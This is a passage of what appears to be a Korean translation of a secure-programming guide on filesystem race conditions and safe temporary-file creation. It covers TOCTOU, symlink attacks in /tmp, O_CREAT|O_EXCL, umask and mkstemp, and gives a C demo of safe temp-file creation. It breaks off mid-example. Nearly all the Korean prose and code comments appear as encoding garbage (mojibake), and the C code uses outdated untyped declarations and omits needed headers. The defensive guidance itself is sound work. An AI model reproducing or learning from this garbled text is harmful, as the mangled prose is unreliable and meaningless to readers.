ÀϹÝÀûÀ¸·Î ¸ðµç ¿¬»ê½Ö¿¡ ´ëÇØ ÀÓÀÇÀÇ Äڵ尡 ÀÌµé »çÀÌ¿¡¼­ ½ÇÇàµÉ ¶§ Äڵ尡 ½ÇÆÐÇÒ ¼ö ÀÖ´ÂÁö °Ë»çÇØ¾ß ÇÑ´Ù.

°øÀ¯ º¯¼ö ÀûÀç ¹× ÀúÀåÀº º¸Åë º°°³ÀÇ ¿¬»êÀ¸·Î ±¸ÇöµÇ¸ç ¿øÀÚÀûÀÌ ¾Æ´ÔÀ» ÁÖ¸ñÇØ¶ó. ÀÌ´Â ``Áõ°¡ º¯¼ö (increment variable)" ¿¬»êÀÌ º¸Åë ÀûÀç, Áõ°¡ ±×¸®°í ÀúÀå ¿¬»êÀ¸·Î º¯È¯µÊÀ» ÀǹÌÇÏ¸ç µû¶ó¼­ º¯¼ö ¸Þ¸ð¸®°¡ °øÀ¯µÈ´Ù¸é ´Ù¸¥ ÇÁ·Î¼¼½º°¡ Áõ°¡Çϱ⸦ °£¼·ÇÒ ¼öµµ ÀÖ´Ù.

º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ÀÌ ¿äûÀÌ Çã°¡µÇ¾ú´ÂÁö¸¦ °áÁ¤ÇØ¾ß ÇÏ¸ç ±×·¸´Ù¸é ±× ¿äû¿¡ µû¶ó ÀÛµ¿ÇØ¾ß ÇÑ´Ù. ½Å·ÚµÇÁö ¾ÊÀº »ç¿ëÀÚ°¡ ÇÁ·Î±×·¥ÀÌ ¿äû¿¡ µû¶ó ÀÛµ¿Çϱâ Àü¿¡ Çã°¡±Ç °áÁ¤¿¡ »ç¿ëµÇ´Â ¾î¶² °Íµµ º¯°æ½Ãų ¼ö ÀÖ´Â ¹æ¹ýÀº ¾ø¾î¾ß ÇÑ´Ù. ÀÌ·¯ÇÑ À¯ÇüÀÇ °æÀï »óÅ´ ¶§¶§·Î "time of check - time of use" (TOCTOU) °æÀï »óÅ·ΠÁöĪµÈ´Ù.


6.8.1.1. ÆÄÀϽýºÅÛ¿¡¼­ÀÇ ¿øÀÚÀû µ¿ÀÛ

¿øÀÚÀû µ¿ÀÛÀ» ¼öÇàÇÒ ¼ö ¾ø´Ù´Â ¹®Á¦´Â ÆÄÀϽýºÅÛ¿¡¼­µµ µÇÇ®ÀÌÇÏ¿© ³ª¿Â´Ù. ÀϹÝÀûÀ¸·Î ÆÄÀϽýºÅÛÀº ¸¹Àº ÇÁ·Î±×·¥µéÀÌ »ç¿ëÇÏ´Â °øÀ¯ ÀÚ¿øÀ¸·Î ¾î¶² ÇÁ·Î±×·¥µéÀº ´Ù¸¥ ÇÁ·Î±×·¥µéÀÌ À̸¦ »ç¿ëÇÏ´Â °ÍÀ» °£¼·ÇÒ ¼öµµ ÀÖ´Ù. º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥µéÀº Çã°¡µÈ ¿äûÀÎÁö¸¦ °áÁ¤Çϱâ À§ÇØ access(2) ¸¦ »ç¿ëÇÏ´Â °ÍÀ» ÇÇÇØ¾ß ÇÑ´Ù. ´ÙÀ½ È£ÃâÀº open(2) ·Î »ç¿ëÀÚµéÀÌ ¾Æ¸¶µµ ½Éº¼¸¯ ¸µÅ© ¶Ç´Â ÀڽŵéÀÌ ¼±ÅÃÇÑ ÆÄÀÏÀ» »ý¼ºÇÔÀ¸·Î½á access(2) ¿Í open(2) È£Ãâ »çÀÌ¿¡ ÆÄÀÏÀ» ÀÚÁÖ ¿Å±æ ¼öµµ Àֱ⠶§¹®ÀÌ´Ù. º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥Àº ´ë½Å ÀÚ½ÅÀÇ À¯È¿ id ¶Ç´Â ÆÄÀϽýºÅÛ id ¸¦ ¼³Á¤ÇÑ ÈÄ Á÷Á¢ÀûÀ¸·Î open ÇÔ¼ö¸¦ È£ÃâÇØ¾ß ÇÑ´Ù. access(2) ¸¦ ¾ÈÀüÇÏ°Ô »ç¿ëÇÏ´Â °ÍÀº °¡´ÉÇѵ¥ ´ÜÁö »ç¿ëÀÚ°¡ ÆÄÀÏ ¶Ç´Â ÆÄÀϽýºÅÛ ·çÆ®·ÎºÎÅÍ °æ·Î¿¡ Á¸ÀçÇÏ´Â ¸ðµç µð·ºÅ丮¿¡ ¿µÇâÀ» ¹ÌÄ¥ ¼ö ¾øÀ» ¶§¸¸ °¡´ÉÇÏ´Ù.

ÆÄÀÏÀ» »ý¼ºÇÒ ¶§´Â O_CREAT | O_EXCL ¸ðµå¸¦ »ç¿ëÇØ¼­ ¿­°í ´ÜÁö ¸Å¿ì Á¦ÇÑµÈ Çã°¡ (´ÜÁö ÇöÀç »ç¿ëÀÚ¿¡°Ô¸¸) ¸¦ ÁÖ¾î¾ß ÇÑ´Ù; ¶ÇÇÑ open ½ÇÆÐ¿¡ ´ëºñÇÒ Çʿ䰡 ÀÖ´Ù. ÆÄÀÏÀ» ¿ÀÇÂÇÒ Çʿ䰡 ÀÖ´Ù¸é (¿¹, ¼­ºñ½º ºÎÀÎÀ» ¿¹¹æÇϱâ À§ÇØ) ¹Ýº¹ÀûÀ¸·Î ``ÀÓÀÇÀÇ" ÆÄÀÏ À̸§À» »ý¼ºÇØ, ÀÌ À̸§ÀÇ ÆÄÀÏÀ» ¿ÀÇÂÇÏ°í ¿ÀÇ ¼º°ø½Ã ÀÌ·¯ÇÑ ¹Ýº¹À» ÁßÁöÇÒ Çʿ䰡 ÀÖ´Ù.

ÀÏ¹Ý ÇÁ·Î±×·¥µéÀº ÆÄÀÏÀ» ÀûÀýÈ÷ »ý¼ºÇÏÁö ¾Ê´Â °æ¿ì º¸¾È ¾àÁ¡À» °¡Áú ¼ö ÀÖ´Ù. ¿¹¸¦ µé¾î ``joe" ÅØ½ºÆ® ÆíÁý±â´Â "DEADJOE" ½Éº¼¸¯ ¸µÅ© Ãë¾à¼ºÀ̶ó°í ºÒ¸®´Â ¾àÁ¡À» °®°í ÀÖ´Ù. ½Ã½ºÅÛ Å©·¡½¬, xterm ´Ý±â ¶Ç´Â ³×Æ®¿öÅ© ¿¬°á ²÷±è°ú °°ÀÌ ºñÇ¥ÁØ ¹æ½ÄÀ¸·Î joe °¡ Á¾·áµÉ ¶§ joe ´Â ¿ÀÇ ¹öÆÛ¸¦ "DEADJOE" ÆÄÀÏ¿¡ ¹«Á¦ÇÑÀ¸·Î µ¡ºÙÀÏ ¼ö ÀÖ´Ù. ÀÌ´Â ·çÆ®°¡ ÀϹÝÀûÀ¸·Î joe ¸¦ »ç¿ëÇÒ ¼ö ÀÖ´Â µð·ºÅ丮¿¡ DEADJOE ½Éº¼¸¯ ¸µÅ©¸¦ »ý¼ºÇÔÀ¸·Î½á ¾Ç¿ëµÉ ¼ö ÀÖ´Ù. ÀÌ·¯ÇÑ ¹æ¹ýÀ¸·Î joe ´Â °¡ºñÁö¸¦ ÀáÀçÀûÀ¸·Î ¹®Á¦°¡ µÉ ¼ö ÀÖ´Â ÆÄÀÏ¿¡ µ¡ºÙÀ̴µ¥ »ç¿ëµÉ ¼ö ÀÖÀ¸¸ç ÀÌ´Â ¼­ºñ½º ºÎÀÎ ¹×/¶Ç´Â º»ÀÇ¾Æ´Ñ Á¢±ÙÀ» ¾ß±âÇÒ °ÍÀÌ´Ù.

´Ù¸¥ ¿¹·Î¼­ ÆÄÀÏÀÇ ¸ÞŸ Á¤º¸¿¡ ÀÏ·ÃÀÇ ¿¬»ê (¼ÒÀ¯ÀÚ º¯°æ, ÆÄÀÏ stat-ing ¶Ç´Â Çã°¡±Ç ºñÆ® º¯°æ°ú °°Àº) À» ¼öÇàÇÒ ¶§ ¿ì¼± ÆÄÀÏÀ» ¿ÀÇÂÇÑ ÈÄ ÀÌ¿¡ ¿¬»êÀ» Àû¿ëÇØ¶ó. ÀÌ´Â chown(), chgrp() ¿Í chmod() ¿Í °°ÀÌ ÆÄÀÏ À̸§À» ÃëÇÏ´Â ÇÔ¼öµé ´ë½Å fchown(), fstat() ¶Ç´Â fchmod() ½Ã½ºÅÛ È£ÃâÀ» »ç¿ëÇÑ´Ù´Â °ÍÀ» ÀǹÌÇϸç ÇÁ·Î±×·¥À» ÀÛµ¿½ÃŰ´Â µµÁß¿¡ ÆÄÀÏÀÌ ´ëüµÇ´Â °ÍÀ» ¸·À» ¼ö ÀÖÀ» °ÍÀÌ´Ù (°¡´ÉÇÑ °æÀï »óÅÂ). ¿¹¸¦ µé¾î ÆÄÀÏÀ» ´ÝÀº ÈÄ chmod() ¸¦ »ç¿ëÇØ¼­ Çã°¡±ÇÀ» º¯°æÇÑ´Ù¸é °ø°ÝÀÚ°¡ ÀÌ µÎ ´Ü°è »çÀÌ¿¡ ÆÄÀÏÀ» À̵¿ ¹× Á¦°ÅÇØ¼­ ´Ù¸¥ ÆÄÀÏ (/etc/passwd °ú °°Àº) ¿¡ ´ëÇÑ ½Éº¼¸¯ ¸µÅ©¸¦ »ý¼ºÇÒ ¼öµµ ÀÖ´Ù. ´Ù¸¥ Àç¹ÌÀÖ´Â ÆÄÀÏÀº /dev/zero ·Î ÀÌ´Â ÇÁ·Î±×·¥¿¡ ¹«ÇÑÈ÷ ±ä ÀÔ·Â µ¥ÀÌŸ ½ºÆ®¸²À» Á¦°øÇÒ ¼ö ÀÖ´Ù; °ø°ÝÀÚ°¡ ÆÄÀÏÀÇ Áß°£ ½ºÆ®¸²À» ``±³È¯" ÇÒ ¼ö ÀÖ´Ù¸é °á°ú´Â À§ÇèÇÒ ¼ö ÀÖ´Ù.

±×·¯³ª ÀÌ´Â º¹ÀâÇØÁø´Ù - ÆÄÀϵéÀ» »ý¼ºÇÒ ¶§ À̵鿡°Ô °¡´ÉÇÑ ÃÖ¼ÒÇÑÀÇ ±ÇÇѼÂÀ» ÁÖ¾î¾ß ÇÏ¸ç ±× ÈÄ ¿øÇÒ ¶§ ±ÇÇÑÀ» ´õ¿í È®´ë º¯°æÇØ¾ß ÇÑ´Ù. ÀϹÝÀûÀ¸·Î ÀÌ´Â ´ÜÁö »ç¿ëÀÚ¿Í »ç¿ëÀÚ ±×·ì¿¡ ´ëÇØ Ãʱâ Á¢±ÙÀ» Á¦ÇÑÇϱâ À§ÇØ umask ¹×/¶Ç´Â open ¸Å°³º¯¼ö¸¦ »ç¿ëÇØ¾ß ÇÔÀ» ÀǹÌÇÑ´Ù. ¿¹¸¦ µé¾î Ãʱ⿡ ¸ðµÎ ´Ù ÀÐÀ» ¼ö ÀÖ´Â ÆÄÀÏÀ» »ý¼ºÇÑ ÈÄ ``world-readable" ºñÆ®¸¦ ¾ø¾Ö·Á°í Çϸé Çã°¡±Ç ºñÆ®°¡ ¹«¹æÇÏ´Ù°í ¸»ÇÑ µ¿¾È¿¡ °ø°ÝÀÚ´Â ÆÄÀÏÀ» ¿ÀÇÂÇÏ·Á°í ÇÒ ¼ö ÀÖ´Ù. ´ëºÎºÐÀÇ À¯´Ð½º °è¿­ ½Ã½ºÅÛ¿¡¼­ Çã°¡±ÇÀº ¿Àǽÿ¡¸¸ °Ë»çµÇ´Âµ¥ µû¶ó¼­ °ø°ÝÀÚ°¡ ÀǵµÇÑ °Íº¸´Ù ´õ¿í ¸¹Àº ±ÇÇÑÀ» °®°Ô µÉ °ÍÀÌ´Ù.

ÀϹÝÀûÀ¸·Î ´Ù¼öÀÇ »ç¿ëÀÚ°¡ À¯´Ð½º °è¿­ ½Ã½ºÅÛÀÇ µð·ºÅ丮¿¡ ¾²±â¸¦ ÇÒ ¼ö ÀÖÀ¸·Á¸é ±× µð·ºÅ丮¿¡ ``sticky" ºñÆ®¸¦ ¼³Á¤ÇÏ´Â °ÍÀÌ ´õ¿í ÁÁÀ» °ÍÀÌ´Ù. ÀÌ·¯ÇÑ sticky µð·ºÅ丮´Â ´õ¿í Àß ±¸ÇöµÇ¾î¿Ô´Ù. ±×·¯³ª ¹®Á¦¸¦ ¿ÏÀüÈ÷ ÇÇÇÏ´Â °ÍÀÌ ´õ¿í ÁÁÀºµ¥ ´ÜÁö ½Å·ÚµÈ Ưº° ÇÁ·Î¼¼½º¸¸ÀÌ Á¢±ÙÇÒ ¼ö ÀÖ´Â µð·ºÅ丮¸¦ ¸¸µé¾î¶ó (±× ÈÄ À̸¦ ÁÖÀDZí°Ô ±¸ÇöÇØ¶ó). ÀüÅëÀûÀÎ À¯´Ð½ºÀÇ ÀϽÃÀûÀÎ µð·ºÅ丮 (/tmp ¿Í /var/tmp) ´Â º¸Åë ``sticky" µð·ºÅ丮·Î ±¸ÇöµÇÁö¸¸ ´ÙÀ½¿¡ º¸µíÀÌ ¸ðµç À¯ÇüÀÇ ¸ðµç ¹®Á¦°¡ ¿ª½Ã Ç¥¸éÈ­ÇÒ °ÍÀÌ´Ù.


6.8.1.2. Àӽà ÆÄÀÏ

¿øÀÚÀû ¿¬»êÀ» Á¤È®È÷ ¼öÇàÇÏ´Â ¹®Á¦´Â Àӽà ÆÄÀϵéÀ» »ý¼ºÇÒ ¶§ ƯÈ÷ ³ªÅ¸³­´Ù. À¯´Ð½º °è¿­ ½Ã½ºÅÛ¿¡¼­ Àӽà ÆÄÀϵéÀº ¸ðµç »ç¿ëÀÚµéÀÌ °øÀ¯ÇÏ´Â /tmp ¶Ç´Â /var/tmp µð·ºÅ丮¿¡ ÀϹÝÀûÀ¸·Î »ý¼ºµÈ´Ù. °ø°ÝÀÚµéÀÌ °øÅëÀûÀ¸·Î »ç¿ëÇÏ´Â ¼ö¹ýÀº º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ÀÌ ÀÛµ¿ÇÏ´Â µ¿¾È Àӽà µð·ºÅ丮³»¿¡ ¾î¶² ´Ù¸¥ ÆÄÀÏ (¿¹, /etc/passwd) ¿¡ ´ëÇÑ ½Éº¼¸¯ ¸µÅ©¸¦ »ý¼ºÇÏ´Â °ÍÀÌ´Ù. °ø°ÝÀÚÀÇ ¸ñÀûÀº º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ÀÌ ÁÖ¾îÁø ÆÄÀÏ À̸§ÀÌ Á¸ÀçÇÏÁö ¾Ê´Â´Ù°í °áÁ¤ÇÒ »óȲÀ» ¸¸µå´Â °ÍÀ¸·Î °ø°ÝÀÚ°¡ ´Ù¸¥ ÆÄÀÏ¿¡ ´ëÇÑ ½Éº¼¸¯ ¸µÅ©¸¦ ¸¸µç ÈÄ¿¡ º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ÀÌ ¾î¶² ¿¬»êÀ» ¼öÇà (±×·¯³ª ½ÇÁ¦·Î´Â ÀǵµÇÏÁö ¾ÊÀº ÆÄÀÏÀ» ¿ÀÇÂÇß´Ù) ÇÏ°Ô µÈ´Ù. ¶§¶§·Î Áß¿äÇÑ ÆÄÀϵéÀº ÀÌ·±½ÄÀ¸·Î Ÿ°ÝÀ» ¹Þ°Å³ª ¼öÁ¤µÉ ¼ö ÀÖ´Ù. ÀÏ¹Ý ÆÄÀÏ »ý¼º°ú °°ÀÌ ÀÌ °ø°ÝÀÇ ¸¹Àº º¯ÇüÀÌ Àִµ¥ À̵éÀº ¸ðµÎ °ø°ÝÀÚ°¡ Àӽà ÆÄÀϵ鿡 ´ëÇØ º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ÀÌ »ç¿ëÇÏ´Â µ¿ÀÏ µð·ºÅ丮¿¡ ÆÄÀϽýºÅÛ °´Ã¼¸¦ »ý¼º (¶Ç´Â Á¢±Ù) ÇÒ ¼ö ÀÖ´Ù´Â °³³ä¿¡ ±âÃÊÇÑ´Ù.

ÀÌ·¯ÇÑ °øÀ¯ µð·ºÅ丮¿¡ ÆÄÀϵéÀ» »ý¼ºÇÒ ¶§ ÀϹÝÀûÀÎ ¹®Á¦´Â »ç¿ëÇÏ·Á°í ÇÏ´Â ÆÄÀÏ À̸§ÀÌ »ý¼º½Ã ÀÌ¹Ì Á¸ÀçÇÏÁö ¾ÊÀ½À» º¸ÀåÇØ¾ß ÇÑ´Ù´Â °ÍÀÌ´Ù. ÆÄÀÏ »ý¼º Àü¿¡ À̸¦ °Ë»çÇÏ´Â °ÍÀº È¿°úÀûÀÌÁö ¾ÊÀºµ¥ ÀÌ´Â °Ë»ç ÈÄ¿¡ ±×·¯³ª »ý¼º Àü¿¡ ´Ù¸¥ ÇÁ·Î¼¼½º°¡ ±× ÆÄÀÏ À̸§À» °®´Â ÆÄÀÏÀ» »ý¼ºÇÒ ¼ö Àֱ⠶§¹®ÀÌ´Ù. ``¿¹ÃøÇÒ ¼ö ¾ø´Â" ¶Ç´Â ``À¯ÀÏÇÑ" ÆÄÀÏ À̸§ »ç¿ëµµ ´Ù¸¥ ÇÁ·Î¼¼½º°¡ ¼º°øÇÒ ¶§±îÁö ¹Ýº¹ÀûÀ¸·Î À̸§À» ÃßÃøÇÒ ¼ö Àֱ⠶§¹®¿¡ ÀϹÝÀûÀ¸·Î È¿°úÀûÀÌÁö ¾Ê´Ù.

±âº»ÀûÀ¸·Î °øÀ¯ (sticky) µð·ºÅ丮¿¡ Àӽà ÆÄÀÏÀ» »ý¼ºÇϱâ À§Çؼ­´Â (1) ``ÀÓÀÇÀÇ" ÆÄÀÏ À̸§ »ý¼º, (2) O_CREAT | O_EXCL ¹× ¸Å¿ì Á¦ÇÑµÈ Çã°¡±ÇÀ» »ç¿ëÇÑ ¿ÀÇ ¹× (3) ¿ÀÇ ¼º°ø½Ã ÁßÁö À̵éÀ» ¹Ýº¹ÀûÀ¸·Î ÇØ¾ßÇÑ´Ù.

1997 ³â ``Single Unix Specification" ¿¡ µû¸£¸é ÀÓÀÇÀÇ Àӽà ÆÄÀÏÀ» »ý¼ºÇÒ ¶§ ¼±È£µÇ´Â ¹æ¹ýÀº tmpfile(3) ÀÌ´Ù. tmpfile(3) ÇÔ¼ö´Â Àӽà ÆÄÀÏÀ» »ý¼ºÇÏ¿© ÇØ´ç ½ºÆ®¸²À» ¿ÀÇÂÇÏ¸ç ±× ½ºÆ®¸²À» ¹ÝȯÇÑ´Ù (¹ÝȯÇÏÁö ¾Ê´Â´Ù¸é NULL). ºÒÇàÈ÷µµ ½ºÆåÀº ÆÄÀÏÀÌ º¸¾ÈÀûÀ¸·Î »ý¼ºµÉ °ÍÀÎÁö¿¡ ´ëÇØ ¾Æ¹«·± º¸Àåµµ ÇÏÁö ¾Ê°í Àִµ¥ ÀúÀÚ Àڽŵµ ¸ðµç ±¸ÇöÀÌ À̸¦ ¾ÈÀüÇÏ°Ô ÇÏ´ÂÁö º¸ÁõÇÒ ¼ö ¾ø±â ¶§¹®¿¡ ¿°·ÁÇϰí ÀÖ´Ù°í ÀÌ Ã¥ÀÇ Ãʱ⠹öÀü¿¡¼­ ¸»Çß´Ù. ±× ÈÄ ¿¹Àü System V ½Ã½ºÅÛÀÌ tmpfile(3) (¿Í tmpnam(3) ¹×tempnam(3)) ¸¦ ºñº¸¾ÈÀûÀ¸·Î ±¸ÇöÇßÀ½À» ¹ß°ßÇß´Ù. tmpfile(3)ÀÇ ¶óÀ̺귯¸® ±¸ÇöÀº Àӽà ÆÄÀÏÀ» º¸¾ÈÀûÀ¸·Î »ý¼ºÇØ¾ß ÇÏÁö¸¸ »ç¿ëÀÚ°¡ ½Ã½ºÅÛ ¶óÀ̺귯¸®°¡ ÀÌ·¯ÇÑ º¸¾È °áÁ¡À» °®°í ÀÖ´Ù°í ´Ã ÀνÄÇÏÁö´Â ¸øÇÏ¸ç ¶§¶§·Î »ç¿ëÀÚ°¡ ÇÒ ¼ö ÀÖ´Â °ÍÀº ¾Æ¹« °Íµµ ¾ø´Ù.

Kris Kennaway ´Â ÀϹÝÀûÀ¸·Î Àӽà ÆÄÀϵéÀ» ¸¸µé¶§ mkstemp(3) ¸¦ »ç¿ëÇ϶ó°í ÃßõÇÑ´Ù. ±×ÀÇ ³í¸®Àû ±Ù°Å´Â ÀÌ Å½ºÅ©¸¦ ¼öÇàÇϱâ À§Çؼ­´Â °¢ÀÚÀÇ ÇÔ¼ö¸¦ µ¹¸®´Â ´ë½Å Àß ¾Ë·ÁÁø ¶óÀ̺귯¸® ÇÔ¼ö¸¦ »ç¿ëÇØ¾ß Çϸç ÀÌ ÇÔ¼ö°¡ Àß ¾Ë·ÁÁø ÀÇ¹Ì Ã¼°è¸¦ °®°í ÀÖ´Ù´Â °ÍÀÌ´Ù. ÀÌ´Â È®½ÇÈ÷ ±Ù°ÅÀÖ´Â °ßÇØÀÌ´Ù. ÀúÀÚ´Â mkstemp(3) ¸¦ »ç¿ëÇÏ·Á¸é ´ÜÁö ¼ÒÀ¯ÀÚ¿¡°Ô¸¸ Àӽà ÆÄÀÏ Çã°¡±ÇÀ» Á¦ÇÑÇϱâ À§ÇØ ¹Ýµå½Ã umask(2) ¸¦ »ç¿ëÇ϶ó°í µ¡ºÙÀδÙ. ÀÌ´Â mkstemp(3) ÀÇ ¸î¸î ±¸Çö (±âº»ÀûÀ¸·Î ¿¹Àü ±¸Çö) ÀÌ Àӽà ÆÄÀÏÀ» all readable ¹× writable ÇÏ°Ô ¸¸µé¾î °ø°ÝÀÚ°¡ µð·ºÅ丮³»¿¡ ºñ¹Ð ÀڷḦ Àаųª ¾µ ¼ö ÀÖ´Â »óŸ¦ ¸¸µé ¼ö Àֱ⠶§¹®ÀÌ´Ù. ¾à°£ ±ÍÂúÀº °ÍÀº mkstemp(3) °¡ ȯ°æ º¯¼ö TMP ¶Ç´Â TMPDIR ¸¦ Á÷Á¢ÀûÀ¸·Î Áö¿øÇÏÁö ¾Ê´Â´Ù´Â °ÍÀε¥ µû¶ó¼­ ȯ°æ º¯¼ö¸¦ Áö¿øÇÏ·Á¸é Äڵ带 Ãß°¡ÇØ¾ß ÇÑ´Ù. ´ÙÀ½Àº ÀÌ·¯ÇÑ ¸ñÀû ¹× TMP ¿Í TMPDIR ¿¡ ´ëÇÑ Áö¿øÀ» Ãß°¡ÇÒ ¶§ mkstemp(3) ¸¦ »ç¿ëÇÏ´Â ¹æ¹ýÀ» ¼³¸íÇÏ´Â C ÇÁ·Î±×·¥ÀÌ´Ù.

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>

void failure(msg) {
 fprintf(stderr, "%s\n", msg);
 exit(1);
}

/*
 * Àӽà ÆÄÀÏÀ̸§¿¡ ´ëÇÑ "ÆÐÅÏ"ÀÌ ÁÖ¾îÁö¸é
 * (µð·ºÅ丮 À§Ä¡·Î ½ÃÀÛÇØ XXXXXX ·Î ³¡³ª´Â)
 * ÆÄÀÏÀ» »ý¼ºÇØ À̸¦ ¹ÝÈ¯ÇØ¶ó.
 * ÀÌ ·çƾÀº ÆÄÀÏÀ» ¾ð¸µÅ©½ÃŰ¸ç µû¶ó¼­ º¸Åë µð·ºÅ丮 ¸®½ºÆÃ½Ã
 * ÀÌ ÆÄÀÏÀº º¸ÀÌÁö ¾ÊÀ» °ÍÀÌ´Ù.
 * ÆÐÅÏÀº ÃÖÁ¾ ÆÄÀÏÀ̸§À» º¸À̵µ·Ï º¯°æµÉ °ÍÀÌ´Ù.
 */

FILE *create_tempfile(char *temp_filename_pattern)
{
 int temp_fd;
 mode_t old_mode;
 FILE *temp_file;

 old_mode = umask(077);  /* Á¦ÇÑÀûÀÎ Çã°¡±ÇÀ» °®´Â ÆÄÀÏÀ» »ý¼º */
 temp_fd = mkstemp(temp_filename_pattern);
 (void) umask(old_mode);
 if (temp_fd == -1) {
   failure("Couldn't open temporary file");
 }
 if (!(temp_file = fdopen(temp_fd, "w+b"))) {
   failure("Couldn't create temporary file's file descriptor");
 }
 if (unlink(temp_filename_pattern) == -1) {
   failure("Couldn't unlink temporary file");
 }
 return temp_file;
}


/*
 * "ű×" (XXXXXX ·Î ³¡³ª´Â »ó´ëÀû ÆÄÀÏ À̸§) °¡ ÁÖ¾îÁö¸é
 * ű׸¦ »ç¿ëÇØ Àӽà ÆÄÀÏÀ» »ý¼ºÇÑ´Ù. ȯ°æ º¯¼ö TMP ¶Ç´Â
 * TMPDIR ¿¡ Á¤ÀǵǾî ÀÖ°í setuid/setgid °¡ ¾Æ´Ï¶ó¸é ÀÌ º¯¼ö¿¡
 * ÁöÁ¤µÈ µð·ºÅ丮¿¡ ÆÄÀÏÀÌ »ý¼ºµÉ °ÍÀÌ´Ù.
 * ±×·¸Áö ¾ÊÀº °æ¿ì´Â /tmp µð·ºÅ丮¿¡ »ý¼ºµÉ °ÍÀÌ´Ù.
 * ·çÆ® (¹× su µÈ ·çÆ®) ´Â TMPDIR or TMP (ÀÌ Á¤ÀǵǾî ÀÖ´Ù¸é)
 *  ¸¦ »ç¿ëÇÒ °ÍÀÓÀ» ÁÖ¸ñÇØ¶ó.
 */
FILE *smart_create_tempfile(char *tag)
{
 char *tmpdir = NULL;
 char *pattern;
 FILE *result;

 if ((getuid()==geteuid()) && (getgid()==getegid())) {
   if (! ((tmpdir=getenv("TMPDIR")))) {
     tmpdir=getenv("TMP");
   }
 }
 if (!tmpdir) {tmpdir = "/tmp";}

 pattern = malloc(strlen(tmpdir)+strlen(tag)+2);
 if (!pattern) {
   failure("Could not malloc tempfile pattern");
 }
 strcpy(pattern, tmpdir);
 strcat(pattern, "/");
 strcat(pattern, tag);
 result = create_tempfile(pattern);
 free(pattern);
 return result;
}



main() {
 int c;
 FILE *demo_temp_file1;
 FILE *demo_temp_file2;
 char demo_temp_filename1[] = "/tmp/demoXXXXXX";
 char demo_temp_filename2[] = "second-demoXXXXXX";

 demo_temp_file1 = create_tempfile(demo_temp_filename1);
 demo_temp_file2 = smart_create_tempfile(demo_temp_filename2);
 fprintf(demo_temp_file2, "This is a test.\n");
 printf("Printing temporary file contents:\n");
 rewind(demo_temp_file2);
 while (  (c=fgetc(demo_temp_file2)) != EOF) {
   putchar(c);
 }
 putchar('\n');
 printf("Exiting; you'll notice that there are no temporary files on exit.\n");
}

Kennaway ´Â mkstemp(3) ¸¦ »ç¿ëÇÒ ¼ö ¾ø´Ù¸é mkdtemp(3) ¸¦ »ç¿ëÇÏ¿© ¿ÜºÎ·ÎºÎÅÍ º¸È£µÇ´Â µð·ºÅ丮¸¦ °¢ÀÚ ¸¸µé¶ó°í ¾ð±ÞÇϰí ÀÖ´Ù. ¸¶Áö¸·À¸·Î ½ÇÁ¦ ºñº¸¾ÈÀûÀÎ mktemp(3) ¸¦ »ç¿ëÇØ¾ß ÇÑ´Ù¸é ¸¹Àº X ¸¦ »ç¿ëÇØ¶ó - ±×´Â ÆÄÀÏ À̸§ÀÌ ½±°Ô ÃßÃøµÉ ¼ö ¾øµµ·Ï 10 (libc °¡ À̸¦ Çã¿ëÇÑ´Ù¸é) À» Á¦¾ÈÇϰí ÀÖ´Ù (´ÜÁö 6 °³ÀÇ X ¸¦ »ç¿ëÇÑ´Ù´Â °ÍÀº 5 °³¸¦ PID °¡ Â÷ÁöÇÏ¿© ´ÜÁö ÇѰ³ÀÇ ÀÓÀÇ ¹®ÀÚ¸¦ ³²±â°í °ø°ÜÀÚ·Î ÇÏ¿©±Ý ¼Õ½±°Ô °æÀï »óŸ¦ Çã¿ëÇÔÀ» ÀǹÌÇÑ´Ù). ÀúÀÚ´Â tmpname(3) »ç¿ëÀ» ÇÇÇØ¾ß ÇÑ´Ù°í ºÎ¾ðÇÑ´Ù - ÀÌµé »ç¿ëÀÇ ÀϺδ ¾²·¹µå°¡ Á¸ÀçÇÒ ¶§ ½Å·ÚÇÒ ¼ö ¾øÀ¸¸ç TMP_MAX »ç¿ë (°¡Àå ½Ç¿ëÀûÀ¸·Î »ç¿ëÇÏ´Â °ÍÀº ·çÇÁ ³»¿¡¼­ÀÌ´Ù) ÈÄ¿¡ ÀûÀýÈ÷ ÀÛµ¿ÇÒ °ÍÀ̶ó°í º¸ÀåÇÏÁö ¾Ê´Â´Ù.

ÀϹÝÀûÀ¸·Î mktemp(3) ¶Ç´Â tmpnam(3) °ú °°Àº ÇÔ¼öÀÇ ºñº¸¾È¼º¿¡ ´ëóÇÒ Æ¯º°ÇÑ Á¶Ä¡¸¦ ÃëÇÏÁö ¾Ê¾Ò°Å³ª º¸¾ÈÀûÀÎ ¶óÀ̺귯¸® ±¸ÇöÀ» ¼³Ä¡ ÀÛ¾÷ÀÇ ÀϺκÐÀ¸·Î Å×½ºÆ®ÇÏÁö ¾Ê¾Ò´Ù¸é À̵éÀÇ »ç¿ëÀ» ÇÇÇØ¾ß ÇÑ´Ù. ±×·³¿¡µµ /tmp ¶Ç´Â world-writable µð·ºÅ丮 (¶Ç´Â ±×·ìÀ» ½Å·ÚÇÏÁö ¾Ê´Â °æ¿ì group-writable) ³»¿¡ ÆÄÀÏÀ» ¸¸µé·Á°í Çϸ鼭 mk*temp() ¸¦ »ç¿ëÇÏÁö ¾ÊÀ¸·Á°í ÇÑ´Ù¸é (¿¹, ÆÄÀÏ À̸§ÀÌ ¿¹ÃøµÉ ¼ö ÀÖ°Ô ÇÏ·Á¸é) ´Ã open() ¿¡ O_CREAT ¿Í O_EXCL Ç÷¡±×¸¦ »ç¿ëÇÏ°í ¹Ýȯ°ªÀ» °Ë»çÇØ¶ó. open() È£ÃâÀ» ÇÒ ¼ö ¾ø´Ù¸é ¿ø·¡´ë·Î º¹±ÍÇØ¶ó (¿¹, exit).

GNOME ÇÁ·Î±×·¡¹Ö ÁöħÀº °øÀ¯ (ÀÓ½Ã) µð·ºÅ丮¿¡ º¸¾È ¿ÀÇ Àӽà ÆÄÀϵ鿡 ´ëÇÑ ÆÄÀϽýºÅÛ °´Ã¼¸¦ »ý¼ºÇÒ ¶§ ´ÙÀ½ Äڵ带 ÃßõÇÑ´Ù[Quintero 2000]:

 char *filename;
 int fd;

 do {
   filename = tempnam (NULL, "foo");
